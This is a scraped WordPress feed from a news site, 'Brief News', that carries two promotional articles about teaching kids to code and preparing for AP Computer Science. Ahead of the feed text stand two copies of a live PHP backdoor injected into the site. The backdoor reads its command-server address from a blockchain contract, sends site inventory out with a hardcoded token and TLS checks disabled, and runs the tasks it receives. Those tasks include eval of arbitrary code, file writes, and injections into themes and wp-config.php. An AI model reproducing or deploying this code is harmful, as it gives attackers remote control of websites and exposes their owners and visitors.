// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Coding – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 10 May 2021 11:05:24 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Coding – Brief News https://briefnews.eu 32 32 Coding For Kids: Getting Started Learning Programming https://briefnews.eu/coding-for-kids-getting-started-learning-programming/ https://briefnews.eu/coding-for-kids-getting-started-learning-programming/#respond Wed, 19 Aug 2020 16:04:39 +0000 https://briefnews.eu/?p=261173

Computer programming is rapidly becoming increasingly popular. In turn, more and more parents want their children to learn coding – and for good reason. According to the Bureau of Labor, median pay for software developers is $103,560 per year, with demand expected to increase by 24% between 2016 and 2026, a growth rate which is significantly faster than that of other occupations. Computer programming also teaches a number of important life skills, like perseverance, algorithmic thinking, and logic. Teaching your kids programming from a young age can set your child up for a lifetime of success.

While programming is offered by a some schools in the US, many schools don’t include regular computer science education or coding classes in their curriculum. When offered, it is usually limited to an introductory level, such as a few classes using Code.org or Scratch. This is mainly because effective education in computer programming generally depends on teachers with ample experience in computer science or engineering.

This is where Juni can help. With instructors from the top computer science universities in the US, Juni students work under the tutelage of instructors who have experience in the same advanced coding languages and tools used at companies like Facebook, Google, and Amazon. Juni’s project-based approach gives students hands-on experience with professional languages like Python, Java, and HTML. The rest of this article addresses some of the most frequently asked questions about coding for kids.

How can I get my child interested in coding?

Tip 1: Make it Fun!

A good way to get your child excited about programming is to make it entertaining! Instead of starting with the traditional, “Hello World” approach to learning programming, intrigue your children with a curriculum that focuses on fun, engaging projects.

Tip 2: Make it Relatable

Children are more likely to stay interested in something that they can relate to. This is easy to do with coding because so many things, from videogames like Minecraft, to movies like Coco, are created with code! Reminding students that they can learn the coding skills necessary to create video games and animation is a great motivator.

Tip 2: Make it Approachable

Introducing programming to young children through lines of syntax-heavy code can make coding seem like a large, unfriendly beast. Starting with a language like Scratch instead, which uses programming with blocks that fit together, makes it easier for kids to focus on the logic and flow of programs.

How do I teach my child to code?

There are a few approaches you can take in teaching kids how to code. Private classes with well-versed instructors are one of the most conducive ways to not only expose your kids to programming and proficiently develop your children’s coding skills, but also sustain their interest in the subject.

At Juni, we offer private online classes for students ages 5-18 to learn to code at their own pace and from the comfort of their own homes.

Via video conference, our students and instructors share a screen. This way, the instructor is with them every step of the way. The instructor first begins by reviewing homework from the last class and answering questions. Then, the student works on the day’s coding lesson.

The instructor can take control of the environment or annotate the screen — this means the instructor can type out examples, help students navigate to a particular tool, or highlight where in the code the student should look for errors — all without switching seats. Read more about the experience of a private coding class with Juni.

We have designed a curriculum that leans into each student’s individual needs. We chose Scratch as the first programming language in our curriculum because its drag-and-drop coding system makes it easy to get started, focusing on the fundamental concepts. In later courses, we teach Python, Java, Web Development, AP Computer Science A, and a training program for the USA Computing Olympiad. We even have Juni Jr. for students ages 5-7.

Other Options: Coding Apps and Coding Games

There are a number of coding apps and coding games that children can use to get familiar with coding material. While these don’t have the same results as learning with an instructor, they are a good place to start.

Code.org has been featured by Hour of Code, and it is used by public schools to teach introductory computer science. Code.org’s beginner modules use a visual block interface, while later modules use a text-based interface. Code.org has partnered with Minecraft and Star Wars, often yielding themed projects.

Codeacademy is aimed at older students who are interested in learning text-based languages. Coding exercises are done in the browser, and have automatic accuracy-checking. This closed platform approach prevents students from the full experience of creating their own software, but the curriculum map is well thought out.

Khan Academy is an online learning platform, designed to provide free education to anyone on the internet. Khan Academy has published a series on computer science, which teaches JavaScript basics, HTML, CSS, and more. There are video lessons on a number of topics, from web page design to 2D game design. Many of the tutorials have written instructions rather than videos, making them better suited for high school students.

What is the best age to start learning to code?

Students as young as 5 years old can start learning how to code. At this age, we focus on basic problem solving and logic, while introducing foundational concepts like loops and conditionals. It is taught using kid-friendly content that is interesting as well as projects that involve creativity and an interface that isn’t as syntax-heavy. At ages 5-10, students are typically learning how to code using visual block-based interfaces.

What are the best programming languages for kids?

With young students (and even older students), a good place to start building programming skills is a visual block-based interface, such as Scratch. This allows students to learn how to think through a program and form and code logical steps to achieve a goal without having to learn syntax (i.e. worrying about spelling, punctuation, and indentation) at the same time.

When deciding on text-based languages, allow your child’s interests to guide you. For example, if your child is interested in creating a website, a good language to learn would be HTML. If they want to code up a game, they could learn Python or Java.

What kind of computer does my child need to learn to code?

This depends on your child’s interests, your budget, and the approach you would like to take. Many online coding platforms, like repl.it, are web-based and only require a high-speed internet connection. Web-based platforms do not require computers with much processing power, which means that they can be run on nearly any computer manufactured within the last few years. Higher-level programming using professional tools requires a Mac, PC, or Linux with a recommended 4G of RAM along with a high-speed internet connection.

Why should kids learn to code?

Reason 1: Learning to code builds resilience and creativity

Coding is all about the process, not the outcome.

The process of building software involves planning, testing, debugging, and iterating. The nature of coding involves checking things, piece by piece, and making small improvements until the product matches the vision. It’s okay if coders don’t get things right on the first attempt. Even stellar software engineers don’t get things right on the first try! Coding creates a safe environment for making mistakes and trying again.

Coding also allows students to stretch their imagination and build things that they use every day. Instead of just playing someone else’s video game, what if they could build a game of their own? Coding opens the doors to endless possibilities.

Reason 2: Learning to code gives kids the skills they need to bring their ideas to life

Coding isn’t about rote memorization or simple right or wrong answers. It’s about problem-solving. The beautiful thing about learning to problem solve is, once you learn it, you’re able to apply it across any discipline, from engineering to building a business.

Obviously students who learn computer science are able to build amazing video games, apps, and websites. But many students report that learning computer science has boosted their performance in their other subjects, as well. Computer science has clear ties to math, and has interdisciplinary connections to topics ranging from music to biology to language arts.

Learning computer science helps develop computational thinking. Students learn how to break down problems into manageable parts, observe patterns in data, identify how these patterns are generated, and develop the step-by-step instructions for solving those problems.

Reason 3: Learning to code prepares kids for the economy of the future

According to WIRED magazine, by 2020 there will be 1 million more computer science-related jobs than graduating students qualified to fill them. Computer science is becoming a fundamental part of many cross-disciplinary careers, including those in medicine, art, engineering, business, and law.

Many of the most innovative and interesting new companies are tackling traditional careers with new solutions using software. Software products have revolutionized industries, from travel (Kayak, AirBnB and Uber) to law (Rocket Lawyer and LegalZoom). Computing is becoming a cornerstone of products and services around the world, and getting a head start will give your child an added advantage.

Many leading CEOs and founders have built amazing companies after studying computer science. Just take a look at the founders of Google, Facebook, and Netflix!

Career Paths

Although computer science is a rigorous and scientific subject, it is also creative and collaborative. Though many computer scientists simply hold the title of Software Engineer or Software Developer, their scope of work is very interesting. Here is a look at some of the work that they do:

  • At Facebook, engineers built the first artificial intelligence that can beat professional poker players at 6-player poker.
  • At Microsoft, computer programmers built Seeing AI, an app that helps blind people read printed text from their smartphones.

Computer scientists also work as data scientists, who clean, analyze, and visualize large datasets. With more and more of our world being encoded as data in a server, this is a very important job. For example, the IRS uncovered $10 billion worth of tax fraud using advanced data analytics and detection algorithms. Programmers also work as video game developers. They specialize in building fun interactive games that reach millions of people around the world, from Fortnite to Minecraft.

All of these career paths and projects require cross-functional collaboration among industry professionals that have a background in programming, even if they hold different titles. Some of these people may be software engineers, data scientists, or video game designers, while others could be systems analysts, hardware engineers, or database administrators. The sky is the limit!

How can you get your kids started on any of these paths? By empowering them to code! Juni can help your kids get set up for a successful career in computer science and beyond. Our founders both worked at Google and developed Juni’s curriculum with real-world applications and careers in mind.

Coding for Kids is Important

Coding for kids is growing in popularity, as more and more families recognize coding as an important tool in the future job market. There is no “one-size-fits-all” for selecting a programming course for students. At Juni, our one-on-one classes allow instructors to tailor a course to meet a student’s specific needs. By learning how to code, your kids will not only pick up a new skill that is both fun and academic, but also gain confidence and learn important life skills that will serve them well in whatever career they choose.

This article originally appeared on junilearning.com

]]> https://briefnews.eu/coding-for-kids-getting-started-learning-programming/feed/ 0 Preparing for the AP Computer Science A Exam https://briefnews.eu/preparing-for-the-ap-computer-science-a-exam/ https://briefnews.eu/preparing-for-the-ap-computer-science-a-exam/#respond Wed, 05 Aug 2020 14:27:55 +0000 https://briefnews.eu/?p=260975 For many students, myself included, their first exposure to Computer Science is through the AP Computer Science A course in high school. Advanced Placement (AP) courses are designed for high schoolers to learn subjects with the rigor, depth, and complexity of college classes. Taking AP classes can also boost a student’s weighted GPA.

The AP Computer Science A curriculum emphasizes the fundamental concepts and problem solving skills that Computer Science requires, using the Java programming language. It introduces basics like variables, loops, conditionals, and methods, along with object-oriented programming, data structures, algorithms, and software design strategies. Java is a widely used programming language, useful and multifaceted because it can support abstraction, encapsulation, and object-orientation, all of which are important concepts for software engineering.

The official prerequisite for AP Computer Science A is first-year high school algebra, including function notation and other algebraic problem solving skills. Overall, the course recommends a solid foundation in mathematical reasoning. However, having worked with many students taking this course, we have found that some prior coding experience really helps students be successful in this course. At Juni, we recommend students who are new to programming start with our Python Level 1 and sometimes our Python Level 2 course before moving into Java.

The College Board’s AP Computer Science A Exam

